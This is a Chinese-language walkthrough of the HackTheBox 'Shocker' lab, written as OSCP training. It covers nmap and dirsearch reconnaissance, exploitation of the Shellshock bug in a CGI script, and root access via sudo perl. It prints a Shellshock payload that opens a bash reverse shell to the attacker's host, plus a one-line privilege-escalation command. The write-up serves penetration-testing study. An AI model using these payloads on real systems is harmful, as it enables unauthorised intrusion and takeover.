freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Oscp训练靶场之HTB-Shocker
freebuf1999 2023-05-01 12:01:42 143072
所属地 江西省

ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的高危漏洞,shellshock于2014年9月24日首次被公开,在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意shell命令。

0x01 信息收集-reconnaissance

首先利用nmap进行信息收集

nmap -sC -sV -A -v 10.10.10.56

┌──(root㉿Oscp-Ielts)-[~]
└─# nmap -sC -sV -A -v 10.10.10.56
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 21:44 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:44
Completed NSE at 21:44, 0.00s elapsed
Initiating NSE at 21:44
Completed NSE at 21:44, 0.00s elapsed
Initiating NSE at 21:44
Completed NSE at 21:44, 0.00s elapsed
Initiating Ping Scan at 21:44
Scanning 10.10.10.56 [4 ports]
Completed Ping Scan at 21:44, 0.29s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:44
Completed Parallel DNS resolution of 1 host. at 21:44, 0.01s elapsed
Initiating SYN Stealth Scan at 21:44
Scanning localhost (10.10.10.56) [1000 ports]
Discovered open port 80/tcp on 10.10.10.56
Discovered open port 2222/tcp on 10.10.10.56
Completed SYN Stealth Scan at 21:44, 2.42s elapsed (1000 total ports)
Initiating Service scan at 21:44
Scanning 2 services on localhost (10.10.10.56)
Completed Service scan at 21:45, 6.50s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against localhost (10.10.10.56)
Retrying OS detection (try #2) against localhost (10.10.10.56)
Retrying OS detection (try #3) against localhost (10.10.10.56)
Retrying OS detection (try #4) against localhost (10.10.10.56)
Retrying OS detection (try #5) against localhost (10.10.10.56)
Initiating Traceroute at 21:45
Completed Traceroute at 21:45, 0.25s elapsed
Initiating Parallel DNS resolution of 1 host. at 21:45
Completed Parallel DNS resolution of 1 host. at 21:45, 0.01s elapsed
NSE: Script scanning 10.10.10.56.
Initiating NSE at 21:45
Completed NSE at 21:45, 7.08s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.99s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Nmap scan report for localhost (10.10.10.56)
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4f8ade8f80477decf150d630a187e49 (RSA)
|   256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_  256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/30%OT=80%CT=1%CU=44484%PV=Y%DS=2%DC=T%G=Y%TM=644F19B
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)OPS(
OS:O1=M53CST11NW6%O2=M53CST11NW6%O3=M53CNNT11NW6%O4=M53CST11NW6%O5=M53CST11
OS:NW6%O6=M53CST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(
OS:R=Y%DF=Y%T=40%W=7210%O=M53CNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Uptime guess: 0.398 days (since Sun Apr 30 12:12:19 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   244.17 ms localhost (10.10.14.1)
2   244.24 ms localhost (10.10.10.56)

NSE: Script Post-scanning.
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.84 seconds
Raw packets sent: 1220 (57.738KB) | Rcvd: 1131 (48.770KB)

根据nmap的扫描结果可知,该目标主机有2个开放的常用端口,分别是80提供http服务和22提供的ssh服务。

访问http://10.10.10.56,结果如下图所示:

1682906149_644f1c25c624d20473f61.png!small?1682906149647

因为没有在首页找到我们需要的有效信息,因此需要尝试进一步用dirsearch进行目录枚举,执行命令如下:

python3 dirsearch.py -u 10.10.10.56 --url-list=/usr/share/wordlists/dirbuster/director-list-2.3-medium.txt -e default

扫描完成后,结果如下:

1682906547_644f1db313e5736a12c8f.png!small?1682906546754

发现了/cgi-bin目录以及/server-status/目录,根据经验,其中/cgi-bin/目录下常常会有一些.sh、.pl以及.cgi等格式的可执行脚本,因此执行命令:python3 dirsearch.py -u 10.10.10.56/cgi-bin --url-list=/usr/share/wordlists/dirbuster/director-list-2.3-medium.txt -e sh,pl,结果如下:

1682906916_644f1f24c2fbdbc944808.png!small?1682906916513

漏洞利用:/cgi-bin/目录下的.sh脚本文件

访问http://10.10.10.56/cgi-bin/user.sh,结果如图所示,触发user.sh文件下载。

1682907034_644f1f9a90ab145f087f3.png!small?1682907034619

user.sh文件内容如下图所示,此文件是uptime命令的执行结果,uptime命令是一个非常典型的基于bash shell执行的系统命令。如果多次访问http://10.10.10.56/cgi-bin/user.sh,发现每次文件的内容会随着时间的变化而变化,因此可以知道下载uptime命令都是是时执行并返回结果的。

1682907153_644f2011f1f43e496269e.png!small?1682907154207

0x02

漏洞利用-Shellshock漏洞的POC测试

根据user.sh文件内容的特性,即通过一个bash shell终端来实时地执行uptime命令,并通过下载文件的方式来执行结果。所以,我们可以判断http://10.10.10.56/cgi-bin/user.sh里面的数据,从而推出该脚本可能存在Shellshock漏洞


于是开始测试ShellShock的payload

wget -qO- -U "() { :;}; echo Content-Type: text/html; echo; echo; /bin/bash -i >& /dev/tcp/10.10.14.7/8888 0>&1" http://10.10.10.56/cgi-bin/user.sh

其中10.10.14.7为kali主机,8888端口为kali主机的监听端口

1682911717_644f31e5a22c309ec3013.png!small?1682911717229

可见,目标主机的shel成功反弹在kali的8888端口上。

cd /home/shelly下的user.txt,成功获取users权限。

1682912397_644f348d6e680f76037ce.png!small?1682912397111

漏洞利用-本地脆弱性:sudo权限

大家都知道,Perl和Python是类似的脚本语言,Perl可以以root身份运行,那么我们可以轻松的利用Perl代码通过构建反弹shell的命令或执行系统命令开启新终端来获取root权限。

sudo /usr/bin/perl -e 'exec "/bin/sh"' ,命令执行结果如下:

1682912996_644f36e4bb7d82e98d6c7.png!small?1682912996471

可以看到通过执行Perl脚本,在Shelly用户权限的反弹shelll窗口中重新建立一个root权限的反弹shell。

0x03总结

在本次靶机实战中,通过dirsearch搜集目录发现user.sh文件,发现该文件调用一个bash shell终端来实时地执行uptime命令,并通过下载文件的形式返回结果,因此猜测可能是Shellshock漏洞,之后的poc测试证明确实是Shellshock,之后又通过Perl和ptyhon的脚本特性成功拿到目标主机的root权限。

# xss
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 freebuf1999 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
freebuf1999 LV.3
Oscp拥有者,备考oswe和雅思。
  • 5 文章数
  • 7 关注者
OSCP渗透靶场之Vulnhub-Djin1
2023-05-22
OSCP渗透靶场之Vulnhub-Sar1
2023-05-21
OSCP渗透靶场之Vulnhub-DC6
2023-05-20
文章目录